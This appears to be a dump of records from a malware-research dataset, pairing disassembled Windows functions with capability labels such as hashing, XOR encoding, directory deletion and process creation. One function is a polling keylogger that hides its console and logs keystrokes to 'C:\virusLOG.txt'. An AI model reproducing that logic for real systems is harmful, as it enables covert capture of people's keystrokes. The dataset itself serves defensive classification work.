joyce8/EMBER2024-capa huggingface dataset:
Function at 0x565b40
Capabilities:
Parse credit card information

Disassembly:
lea ecx, [rax - 0x61]
cmp cl, 0x19
jbe 0x565b58
lea ecx, [rax - 0x41]
cmp cl, 0x19
jbe 0x565b58
lea ecx, [rax - 0x30]
cmp cl, 9
ja 0x565b60
xor eax, eax
ret
cmp rbx, 3
je 0x565b6c
cmp rbx, 4
jne 0x565b99
cmp al, 0x2c
ja 0x565b86
lea ecx, [rax - 0x21]
cmp cl, 1
jbe 0x565b96
cmp al, 0x24
je 0x565b96
nop dword [rax]
cmp al, 0x26
jae 0x565b96
jmp 0x565b99
lea ecx, [rax - 0x3a]
cmp cl, 4
jbe 0x565b96
cmp al, 0x5b
je 0x565b96
cmp al, 0x5d
jne 0x565b99
xor eax, eax
ret
cmp al, 0x2f
ja 0x565bd2
nop dword [rax]
cmp al, 0x26
ja 0x565bb1
cmp al, 0x24
je 0x565bf1
cmp al, 0x26
je 0x565bf1
jmp 0x565c6b
lea ecx, [rax - 0x2b]
cmp cl, 1
jbe 0x565bf1
lea ecx, [rax - 0x2d]
nop dword [rax]
cmp cl, 1
jbe 0x565c68
cmp al, 0x2f
je 0x565bf1
jmp 0x565c6b
cmp al, 0x3d
ja 0x565be9
lea ecx, [rax - 0x3a]
cmp cl, 1
jbe 0x565bf1
nop
cmp al, 0x3d
je 0x565bf1
jmp 0x565c6b
lea ecx, [rax - 0x3f]
cmp cl, 1
ja 0x565c60
cmp rbx, 2
jg 0x565c27
cmp rbx, 1
je 0x565c21
nop dword [rax]
cmp rbx, 2
jne 0x565c6b
cmp al, 0x2f
je 0x565c12
cmp al, 0x3b
je 0x565c12
cmp al, 0x2c
jne 0x565c19
mov ecx, 1
jmp 0x565c1e
cmp al, 0x3f
sete cl
mov eax, ecx
ret
cmp al, 0x3f
sete al
ret
cmp rbx, 5
jne 0x565c4a
cmp al, 0x40
je 0x565c39
cmp al, 0x2f
je 0x565c39
cmp al, 0x3f
jne 0x565c42
mov ecx, 1
nop
jmp 0x565c47
cmp al, 0x3a
sete cl
mov eax, ecx
ret
cmp rbx, 6
je 0x565c59
cmp rbx, 7
jne 0x565c6b
xor eax, eax
ret
mov eax, 1
ret
cmp al, 0x5f
je 0x565c68
cmp al, 0x7e
jne 0x565c6b
xor eax, eax
ret
cmp rbx, 7
jne 0x565c81
cmp al, 0x21
je 0x565c7d
lea ecx, [rax - 0x28]
cmp cl, 2
ja 0x565c81
xor eax, eax
nop
ret
mov eax, 1
ret
Function at 0x56acc0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x56aecb
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x68], rcx
add qword [rax + 0x58], rcx
mov rdx, qword [rax + 0x50]
test rdx, rdx
jle 0x56ade4
cmp rdx, 0x40
ja 0x56aebd
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x60], rbx
lea rsi, [rdx - 0x40]
mov r8, rsi
neg rsi
sar r8, 0x3f
and r8, rdx
lea rdx, [rax + r8]
lea rdx, [rdx + 0x10]
cmp rcx, rsi
cmovl rsi, rcx
mov qword [rsp + 0x28], rsi
cmp rbx, rdx
je 0x56ad54
mov rax, rdx
mov rcx, rsi
call fcn.00466c80
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x70]
mov rdx, qword [rax + 0x50]
add rdx, rsi
mov qword [rax + 0x50], rdx
nop
cmp rdx, 0x40
jne 0x56adc0
mov qword [rsp], rax
lea rcx, [rax + 0x10]
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], 0x40
mov qword [rsp + 0x18], 0x40
call fcn.0056b140
xorps xmm15, xmm15
mov r14, qword [0x0081ccc0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x58]
mov qword [rax + 0x50], 0
mov rcx, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x70]
nop dword [rax]
cmp rcx, rsi
jb 0x56aeb5
sub rdi, rsi
mov rdx, rdi
neg rdx
sar rdx, 0x3f
and rdx, rsi
mov r8, rcx
sub r8, rsi
add rbx, rdx
jmp 0x56ade7
mov r8, rcx
cmp r8, 0x40
jl 0x56ae65
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x30], rdi
mov qword [rsp], rax
mov qword [rsp + 8], rbx
and r8, 0xffffffffffffffc0
mov qword [rsp + 0x20], r8
mov qword [rsp + 0x10], r8
mov qword [rsp + 0x18], rdi
call fcn.0056b140
xorps xmm15, xmm15
mov r14, qword [0x0081ccc0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x30]
mov rdx, rax
sub rax, rcx
sar rax, 0x3f
mov r8, qword [rsp + 0x38]
and rax, r8
and rax, 0xffffffffffffffc0
mov rcx, qword [rsp + 0x40]
lea rbx, [rcx + rax]
sub r8, rdx
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x68]
test r8, r8
je 0x56aea8
lea rdx, [rax + 0x10]
cmp r8, 0x40
mov esi, 0x40
cmovl rsi, r8
nop dword [rax + rax]
cmp rbx, rdx
je 0x56aea4
mov qword [rsp + 0x38], rsi
mov rax, rdx
mov rcx, rsi
call fcn.00466c80
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x38]
mov qword [rax + 0x50], rsi
mov rax, rcx
xor ebx, ebx
xor ecx, ecx
add rsp, 0x48
pop rbp
ret
mov rax, rsi
call fcn.00466380
mov rax, rdx
mov ecx, 0x40
call fcn.00466380
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
nop
call fcn.00463fe0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
jmp fcn.0056acc0
Function at 0x585100
Capabilities:
Encode data using xor

Disassembly:
mov rdi, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov r15, qword [rsp + 0x18]
mov r8, qword [rdi]
mov r9, qword [rdi + 8]
mov r10, qword [rdi + 0x10]
mov r11, qword [rdi + 0x18]
mov r12, qword [rdi + 0x20]
cmp r15, 0x10
jb 0x5851c7
add r8, qword [rsi]
adc r9, qword [rsi + 8]
adc r10, 1
lea rsi, [rsi + 0x10]
mov rax, r11
mul r8
mov rbx, rax
mov rcx, rdx
mov rax, r11
mul r9
add rcx, rax
adc rdx, 0
mov r13, r11
imul r13, r10
add r13, rdx
mov rax, r12
mul r8
add rcx, rax
adc rdx, 0
mov r8, rdx
mov r14, r12
imul r14, r10
mov rax, r12
mul r9
add r13, rax
adc r14, rdx
add r13, r8
adc r14, 0
mov r8, rbx
mov r9, rcx
mov r10, r13
and r10, 3
mov rbx, r13
and rbx, 0xfffffffffffffffc
add r8, rbx
adc r9, r14
adc r10, 0
shrd r13, r14, 2
shr r14, 2
add r8, r13
adc r9, r14
adc r10, 0
sub r15, 0x10
cmp r15, 0x10
jae 0x58512c
test r15, r15
je 0x58520a
mov rbx, 1
xor rcx, rcx
xor r13, r13
add rsi, r15
shld rcx, rbx, 8
shl rbx, 8
mov r13b, byte [rsi - 1]
xor rbx, r13
dec rsi
dec r15
jne 0x5851dc
add r8, rbx
adc r9, rcx
adc r10, 0
mov r15, 0x10
jmp 0x58513b
mov qword [rdi], r8
mov qword [rdi + 8], r9
mov qword [rdi + 0x10], r10
ret
Function at 0x586760
Capabilities:
Encode data using xor

Disassembly:
xor r10, r10
xor r11, r11
xor r12, r12
cmp r9, 0xd
jne 0x586807
mov r10, qword [rcx]
mov r11, qword [rcx + 5]
shr r11, 0x18
mov r12, 1
mov rax, qword [rbp]
mov r15, rax
mul r10
mov r13, rax
mov r14, rdx
mov rax, qword [rbp]
mul r11
imul r15, r12
add r14, rax
adc r15, rdx
mov rax, qword [rbp + 8]
mov r8, rax
mul r10
add r14, rax
adc rdx, 0
mov r10, rdx
mov rax, qword [rbp + 8]
mul r11
add r15, rax
adc rdx, 0
imul r8, r12
add r15, r10
adc r8, rdx
mov r10, r13
mov r11, r14
mov r12, r15
and r12, 3
mov r13, r15
and r13, 0xfffffffffffffffc
mov r14, r8
shrd r15, r8, 2
shr r8, 2
add r10, r13
adc r11, r14
adc r12, 0
add r10, r15
adc r11, r8
adc r12, 0
ret
cmp r9, 0x10
jb 0x5868aa
add r10, qword [rcx]
adc r11, qword [rcx + 8]
adc r12, 1
lea rcx, [rcx + 0x10]
sub r9, 0x10
mov rax, qword [rbp]
mov r15, rax
mul r10
mov r13, rax
mov r14, rdx
mov rax, qword [rbp]
mul r11
imul r15, r12
add r14, rax
adc r15, rdx
mov rax, qword [rbp + 8]
mov r8, rax
mul r10
add r14, rax
adc rdx, 0
mov r10, rdx
mov rax, qword [rbp + 8]
mul r11
add r15, rax
adc rdx, 0
imul r8, r12
add r15, r10
adc r8, rdx
mov r10, r13
mov r11, r14
mov r12, r15
and r12, 3
mov r13, r15
and r13, 0xfffffffffffffffc
mov r14, r8
shrd r15, r8, 2
shr r8, 2
add r10, r13
adc r11, r14
adc r12, 0
add r10, r15
adc r11, r8
adc r12, 0
jmp 0x586807
cmp r9, 0
je 0x586963
xor r13, r13
xor r14, r14
xor r15, r15
add rcx, r9
shld r14, r13, 8
shl r13, 8
mov r15b, byte [rcx - 1]
xor r13, r15
dec rcx
dec r9
jne 0x5868c0
add r10, r13
adc r11, r14
adc r12, 1
mov rax, qword [rbp]
mov r15, rax
mul r10
mov r13, rax
mov r14, rdx
mov rax, qword [rbp]
mul r11
imul r15, r12
add r14, rax
adc r15, rdx
mov rax, qword [rbp + 8]
mov r8, rax
mul r10
add r14, rax
adc rdx, 0
mov r10, rdx
mov rax, qword [rbp + 8]
mul r11
add r15, rax
adc rdx, 0
imul r8, r12
add r15, r10
adc r8, rdx
mov r10, r13
mov r11, r14
mov r12, r15
and r12, 3
mov r13, r15
and r13, 0xfffffffffffffffc
mov r14, r8
shrd r15, r8, 2
shr r8, 2
add r10, r13
adc r11, r14
adc r12, 0
add r10, r15
adc r11, r8
adc r12, 0
ret
Function at 0x5dda60
Capabilities:
Encode data using xor

Disassembly:
mov rdi, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov r15, qword [rsp + 0x18]
mov r8, qword [rdi]
mov r9, qword [rdi + 8]
mov r10, qword [rdi + 0x10]
mov r11, qword [rdi + 0x18]
mov r12, qword [rdi + 0x20]
cmp r15, 0x10
jb 0x5ddb27
add r8, qword [rsi]
adc r9, qword [rsi + 8]
adc r10, 1
lea rsi, [rsi + 0x10]
mov rax, r11
mul r8
mov rbx, rax
mov rcx, rdx
mov rax, r11
mul r9
add rcx, rax
adc rdx, 0
mov r13, r11
imul r13, r10
add r13, rdx
mov rax, r12
mul r8
add rcx, rax
adc rdx, 0
mov r8, rdx
mov r14, r12
imul r14, r10
mov rax, r12
mul r9
add r13, rax
adc r14, rdx
add r13, r8
adc r14, 0
mov r8, rbx
mov r9, rcx
mov r10, r13
and r10, 3
mov rbx, r13
and rbx, 0xfffffffffffffffc
add r8, rbx
adc r9, r14
adc r10, 0
shrd r13, r14, 2
shr r14, 2
add r8, r13
adc r9, r14
adc r10, 0
sub r15, 0x10
cmp r15, 0x10
jae 0x5dda8c
test r15, r15
je 0x5ddb6a
mov rbx, 1
xor rcx, rcx
xor r13, r13
add rsi, r15
shld rcx, rbx, 8
shl rbx, 8
mov r13b, byte [rsi - 1]
xor rbx, r13
dec rsi
dec r15
jne 0x5ddb3c
add r8, rbx
adc r9, rcx
adc r10, 0
mov r15, 0x10
jmp 0x5dda9b
mov qword [rdi], r8
mov qword [rdi + 8], r9
mov qword [rdi + 0x10], r10
ret
Function at 0x5df220
Capabilities:
Encode data using xor

Disassembly:
xor r10, r10
xor r11, r11
xor r12, r12
cmp r9, 0xd
jne 0x5df2c7
mov r10, qword [rcx]
mov r11, qword [rcx + 5]
shr r11, 0x18
mov r12, 1
mov rax, qword [rbp]
mov r15, rax
mul r10
mov r13, rax
mov r14, rdx
mov rax, qword [rbp]
mul r11
imul r15, r12
add r14, rax
adc r15, rdx
mov rax, qword [rbp + 8]
mov r8, rax
mul r10
add r14, rax
adc rdx, 0
mov r10, rdx
mov rax, qword [rbp + 8]
mul r11
add r15, rax
adc rdx, 0
imul r8, r12
add r15, r10
adc r8, rdx
mov r10, r13
mov r11, r14
mov r12, r15
and r12, 3
mov r13, r15
and r13, 0xfffffffffffffffc
mov r14, r8
shrd r15, r8, 2
shr r8, 2
add r10, r13
adc r11, r14
adc r12, 0
add r10, r15
adc r11, r8
adc r12, 0
ret
cmp r9, 0x10
jb 0x5df36a
add r10, qword [rcx]
adc r11, qword [rcx + 8]
adc r12, 1
lea rcx, [rcx + 0x10]
sub r9, 0x10
mov rax, qword [rbp]
mov r15, rax
mul r10
mov r13, rax
mov r14, rdx
mov rax, qword [rbp]
mul r11
imul r15, r12
add r14, rax
adc r15, rdx
mov rax, qword [rbp + 8]
mov r8, rax
mul r10
add r14, rax
adc rdx, 0
mov r10, rdx
mov rax, qword [rbp + 8]
mul r11
add r15, rax
adc rdx, 0
imul r8, r12
add r15, r10
adc r8, rdx
mov r10, r13
mov r11, r14
mov r12, r15
and r12, 3
mov r13, r15
and r13, 0xfffffffffffffffc
mov r14, r8
shrd r15, r8, 2
shr r8, 2
add r10, r13
adc r11, r14
adc r12, 0
add r10, r15
adc r11, r8
adc r12, 0
jmp 0x5df2c7
cmp r9, 0
je 0x5df423
xor r13, r13
xor r14, r14
xor r15, r15
add rcx, r9
shld r14, r13, 8
shl r13, 8
mov r15b, byte [rcx - 1]
xor r13, r15
dec rcx
dec r9
jne 0x5df380
add r10, r13
adc r11, r14
adc r12, 1
mov rax, qword [rbp]
mov r15, rax
mul r10
mov r13, rax
mov r14, rdx
mov rax, qword [rbp]
mul r11
imul r15, r12
add r14, rax
adc r15, rdx
mov rax, qword [rbp + 8]
mov r8, rax
mul r10
add r14, rax
adc rdx, 0
mov r10, rdx
mov rax, qword [rbp + 8]
mul r11
add r15, rax
adc rdx, 0
imul r8, r12
add r15, r10
adc r8, rdx
mov r10, r13
mov r11, r14
mov r12, r15
and r12, 3
mov r13, r15
and r13, 0xfffffffffffffffc
mov r14, r8
shrd r15, r8, 2
shr r8, 2
add r10, r13
adc r11, r14
adc r12, 0
add r10, r15
adc r11, r8
adc r12, 0
ret
Function at 0x5e9640
Capabilities:
Hash data using sha512

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x5e9794
push rbp
mov rbp, rsp
sub rsp, 0x28
mov qword [rsp + 0x40], rbx
lea rdx, [rax - 1]
nop dword [rax + rax]
cmp rdx, 0x3f
ja 0x5e977e
cmp rcx, 0x40
jg 0x5e9768
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rbx
lea rax, [0x006451a0]
call fcn.0040c5a0
mov rcx, qword [rsp + 0x38]
mov qword [rax + 0x50], rcx
mov rcx, qword [rsp + 0x48]
mov qword [rax + 0x160], rcx
lea rsi, [rax + 0xe0]
mov rbx, qword [rsp + 0x40]
cmp rbx, rsi
je 0x5e96d1
mov qword [rsp + 0x18], rax
mov qword [rsp + 0x20], rsi
mov rax, rsi
call fcn.00466c80
mov rax, qword [rsp + 0x18]
mov rsi, qword [rsp + 0x20]
movups xmm0, xmmword [0x007c06c0]
nop
movups xmmword [rax], xmm0
movups xmm0, xmmword [0x007c06d0]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x007c06e0]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [0x007c06f0]
movups xmmword [rax + 0x30], xmm0
mov rdx, qword [rax + 0x160]
shl rdx, 8
or rdx, qword [rax + 0x50]
or rdx, 0x1010000
xor qword [rax], rdx
mov qword [rax + 0xd8], 0
movups xmmword [rax + 0x40], xmm15
cmp qword [rax + 0x160], 0
jle 0x5e975e
lea rdi, [rax + 0x58]
nop word [rax + rax]
nop dword [rax]
mov qword [rsp - 0x10], rbp
lea rbp, [rsp - 0x10]
call fcn.004668f0
mov rbp, qword [rbp]
mov qword [rax + 0xd8], pe_nt_image_headers64
xor ebx, ebx
xor ecx, ecx
add rsp, 0x28
pop rbp
ret
mov rbx, qword [0x007cb560]
mov rcx, qword [0x007cb568]
xor eax, eax
add rsp, 0x28
pop rbp
ret
mov rbx, qword [0x007cb570]
mov rcx, qword [0x007cb578]
xor eax, eax
add rsp, 0x28
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call fcn.00463fe0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
jmp fcn.005e9640
Function at 0x5e97e0
Capabilities:
Encode data using base64
Hash data using sha512

Disassembly:
lea r12, [rsp - 0xa0]
cmp r12, qword [r14 + 0x10]
jbe 0x5e9aa6
push rbp
mov rbp, rsp
sub rsp, 0x118
mov qword [rsp + 0x138], rcx
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x130], rbx
movups xmm0, xmmword [0x007c06c0]
movups xmmword [rsp + 0xc0], xmm0
movups xmm0, xmmword [0x007c06d0]
movups xmmword [rsp + 0xd0], xmm0
movups xmm0, xmmword [0x007c06e0]
movups xmmword [rsp + 0xe0], xmm0
movups xmm0, xmmword [0x007c06f0]
movups xmmword [rsp + 0xf0], xmm0
mov r9, rbx
or rbx, 0x1010000
xor qword [rsp + 0xc0], rbx
movups xmmword [rsp + 0xb0], xmm15
cmp rdi, 0x80
jle 0x5e9926
mov r10, rdi
and rdi, 0xffffffffffffff80
lea r11, [rdi - 0x80]
cmp r10, rdi
cmove rdi, r11
cmp rsi, rdi
jb 0x5e9a9a
mov qword [rsp + 0x108], rdi
mov qword [rsp + 0x148], rsi
mov qword [rsp + 0x110], r10
mov qword [rsp + 0x138], rcx
lea rax, [rsp + 0xc0]
lea rbx, [rsp + 0xb0]
mov r8, rsi
mov rsi, rdi
mov rdi, rcx
xor ecx, ecx
call fcn.005ea780
mov rcx, qword [rsp + 0x110]
mov rax, qword [rsp + 0x108]
cmp rcx, rax
jb 0x5e9a95
mov rdx, qword [rsp + 0x148]
mov r9, rax
sub rax, rdx
sar rax, 0x3f
and rax, r9
sub rcx, r9
mov rdx, qword [rsp + 0x138]
add rdx, rax
mov rax, qword [rsp + 0x128]
mov r9, qword [rsp + 0x130]
mov rdi, rcx
mov rcx, rdx
mov rdx, rdi
lea rdi, [rsp + 0x30]
nop word [rax + rax]
nop word [rax + rax]
mov qword [rsp - 0x10], rbp
lea rbp, [rsp - 0x10]
call fcn.004665a2
mov rbp, qword [rbp]
cmp rdx, 0x80
mov r8d, pe_nt_image_headers64
cmovl r8, rdx
lea rdi, [rsp + 0x30]
cmp rcx, rdi
je 0x5e99a2
mov qword [rsp + 0x100], r8
mov rax, rdi
mov rbx, rcx
mov rcx, r8
nop
call fcn.00466c80
mov rax, qword [rsp + 0x128]
lea rdi, [rsp + 0x30]
mov r8, qword [rsp + 0x100]
mov r9, qword [rsp + 0x130]
lea rdx, [r8 - 0x80]
neg rdx
cmp qword [rsp + 0xb0], rdx
jae 0x5e99bb
dec qword [rsp + 0xb8]
mov rdx, qword [rsp + 0xb0]
lea rdx, [r8 + rdx]
lea rdx, [rdx - 0x80]
mov qword [rsp + 0xb0], rdx
lea rax, [rsp + 0xc0]
lea rbx, [rsp + 0xb0]
mov rcx, 0xffffffffffffffff
mov esi, pe_nt_image_headers64
mov r8, rsi
call fcn.005ea780
mov rdx, qword [rsp + 0x130]
lea r9, [rdx + 7]
sar r9, 0x3f
shr r9, 0x3d
lea rcx, [r9 + rdx]
lea rcx, [rcx + 7]
sar rcx, 3
cmp rcx, 8
ja 0x5e9a8b
mov rdx, qword [rsp + 0x128]
xor eax, eax
jmp 0x5e9a3a
test byte [rdx], al
mov rsi, qword [rsp + rax*8 + 0xc0]
mov qword [rdx + rbx], rsi
inc rax
cmp rax, rcx
jge 0x5e9a68
mov rbx, rax
shl rbx, 3
cmp rbx, 0x40
ja 0x5e9a7e
lea rsi, [rbx - 0x40]
mov rdi, rsi
neg rsi
sar rdi, 0x3f
and rbx, rdi
nop dword [rax]
cmp rsi, 7
ja 0x5e9a29
jmp 0x5e9a71
add rsp, 0x118
pop rbp
ret
mov eax, 7
mov rcx, rsi
call fcn.004662c0
mov rax, rbx
mov ecx, 0x40
call fcn.00466380
mov edx, 8
call fcn.00466300
call fcn.00466380
mov rcx, rdi
mov rdx, rsi
call fcn.00466340
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x28], rsi
nop
call fcn.00463fe0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x28]
nop
jmp fcn.005e97e0
Function at 0x140004907
Capabilities:
Delete directory

Disassembly:
push rbp
push r15
xor rax, rax
push rax
push rax
sub rsp, 0x28
call fcn.1400123e0
mov r15, qword [0x14002048c]
cmp r15, 1
jne 0x1400049d6
push qword [0x14002057c]
pop rcx
call fcn.14000d5b4
mov r15, rax
and r15, r15
jle 0x14000496c
mov rcx, qword [0x14002057c]
call fcn.14000d5bc
mov rcx, qword [0x14002057c]
call fcn.14000d5d0
or rax, rax
je 0x14000496c
mov rbp, qword [0x140020584]
push qword [rbp + 0x10]
pop rcx
call fcn.14000da6c
jmp 0x140004949
push qword [0x14002056c]
pop rcx
call fcn.14000d5b4
mov qword [rsp + 0x28], rax
mov r15, qword [rsp + 0x28]
and r15, r15
jle 0x1400049d6
push 5
push 0
push 1
push qword [0x14002056c]
pop rcx
pop rdx
pop r8
pop r9
call fcn.140009070
mov rcx, qword [0x14002056c]
call fcn.14000d5bc
mov rcx, qword [0x14002056c]
call fcn.14000d5d0
or rax, rax
je 0x1400049d6
mov rbp, qword [0x140020574]
push qword [rbp + 0x14]
pop rcx
call sub.KERNEL32.dll_RemoveDirectoryW
jmp 0x1400049b3
mov rax, 1
jmp 0x1400049e2
add rsp, 0x38
pop r15
pop rbp
ret

Function at 0x140006a58
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x48
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rcx
call sub.KERNEL32.dll_GetLastError
mov qword [rsp + 0x38], rax
mov rcx, qword [0x14001f190]
call sub.KERNEL32.dll_TlsGetValue
mov rcx, qword [rsp + 0x30]
mov qword [rax + 0x10], rcx
mov rcx, qword [rsp + 0x38]
call sub.KERNEL32.dll_SetLastError
mov rax, qword [rsp + 0x28]
add rsp, 0x48
ret

Function at 0x14000720c
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
call fcn.14000719c
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateThread]
lea rcx, [0x140021170]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400205b8]
jmp 0x140007248
cmp qword [rbx + 0x18], rdi
je 0x14000724f
mov rbx, qword [rbx]
test rbx, rbx
jne 0x14000723f
jmp 0x140007269
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbx + 0x10]
lea rcx, [0x1400205b8]
call fcn.140011c68
lea rcx, [0x140021170]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov esi, esi
cmp bh, al
add edx, esi
scasd eax, dword [rdi]
ret 0x2335
fimul word [rax + rcx - 0x16]
cli
and eax, 0x16bd7fb3
jne 0x14003f63e
invalid
add eax, dword [rax - 0x6b303e1c]
call 0x17f449c20
mov esp, eax
invalid
pop rdx
cmpsd dword [rsi], dword [rdi]
scasb al, byte [rdi]
insd dword [rdi], dx
in al, dx
cmp dword [rbx - 0x63], eax
or dword [rbx - 0x221e24d7], edx
ret
sahf
invalid
pop rdx
xlatb
invalid
mov edx, 0xec78ce3b
invalid
invalid
xchg ecx, eax
pop rsi
invalid
outsd dx, dword [rsi]
jl 0x14003f69e
xchg ebx, eax
invalid
Function at 0x180011195
Capabilities:
Execute command
Log keystrokes via polling

Disassembly:
jmp 0x180011770
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x22
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x188]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x138], rax
lea rcx, [0x180022001]
call fcn.180011316
nop
call qword [sym.imp.KERNEL32.dll_AllocConsole]
nop
xor edx, edx
lea rcx, str.ConsoleWindowClass
call qword [sym.imp.USER32.dll_FindWindowA]
mov qword [rbp + 8], rax
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.USER32.dll_ShowWindow]
nop
xor eax, eax
cmp eax, 1
je 0x18001187c
mov byte [rbp + 0x24], 8
jmp 0x180011804
movzx eax, byte [rbp + 0x24]
inc al
mov byte [rbp + 0x24], al
movsx eax, byte [rbp + 0x24]
cmp eax, 0xbe
jg 0x180011865
movsx eax, byte [rbp + 0x24]
mov ecx, eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
and eax, 1
test eax, eax
je 0x180011863
lea r8, [0x18001a9e0]
lea rdx, str.C:_virusLOG.txt
lea rcx, [rbp + 0x48]
call qword [sym.imp.ucrtbased.dll_fopen_s]
nop
movsx eax, byte [rbp + 0x24]
mov dword [rbp + 0x64], eax
lea r8, [rbp + 0x64]
lea rdx, [0x18001a9c0]
mov rcx, qword [rbp + 0x48]
call fcn.1800112df
nop
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ucrtbased.dll_fclose]
nop
jmp 0x1800117fb
lea rcx, str.PAUSE
call qword [sym.imp.ucrtbased.dll_system]
nop
xor eax, eax
jmp 0x18001187c
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x18001a990]
call fcn.1800112b7
mov rax, rdi
mov rcx, qword [rbp + 0x138]
xor rcx, rbp
call fcn.180011186
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret

Function at 0x1800111c2
Capabilities:
Terminate process

Disassembly:
jmp 0x180013010
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x140001230
Capabilities:
Create process on windows
Get common file path

Disassembly:
sub rsp, 0x4d8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x4c0], rax
lea r9, [rsp + 0x30]
mov qword [rsp + 0x30], 0
xor r8d, r8d
lea rcx, [0x1400032e0]
mov edx, 0x8000
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
mov r9, qword [rsp + 0x30]
lea rdx, [0x140005a30]
mov r8d, 0x104
mov qword [rsp + 0x20], 0x104
lea rcx, [rsp + 0x58]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs_s]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
lea r9, [0x140005a30]
mov edx, 0x104
lea r8, str._sCyberLinkFaceMeSDKFaceMeSecurityCentral
lea rcx, [0x140005700]
call fcn.140001010
lea r9, [0x140005700]
mov edx, 0x104
lea r8, str._sconfigjettyConfig.xml
lea rcx, [0x140005920]
call fcn.140001010
lea r9, [0x140005700]
mov edx, 0x104
lea r8, str._s_ssl_sslKeystore
lea rcx, [0x140005810]
call fcn.140001010
lea rcx, [rsp + 0x38]
call fcn.140001400
xor edx, edx
mov byte [rsp + 0xc0], 0
mov r8d, 0x3ff
lea rcx, [rsp + 0xc1]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x60]
lea rcx, [0x140005920]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
jne 0x14000135f
lea rdx, [rsp + 0x90]
lea rcx, [0x140005810]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
jne 0x14000135f
lea rdx, str.explorer__https:__localhost:_d_timestamp_s_
mov r8d, 0x2382
jmp 0x14000136c
lea rdx, str.explorer__http:__localhost:_d_timestamp_s_
mov r8d, 0x1f90
cmp qword [rsp + 0x50], 0xf
lea r9, [rsp + 0x38]
lea rcx, [rsp + 0xc0]
cmova r9, qword [rsp + 0x38]
call fcn.1400015b0
xor edx, edx
lea rcx, [rsp + 0xc0]
call qword [sym.imp.KERNEL32.dll_WinExec]
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x1400013da
mov rcx, qword [rsp + 0x38]
inc rdx
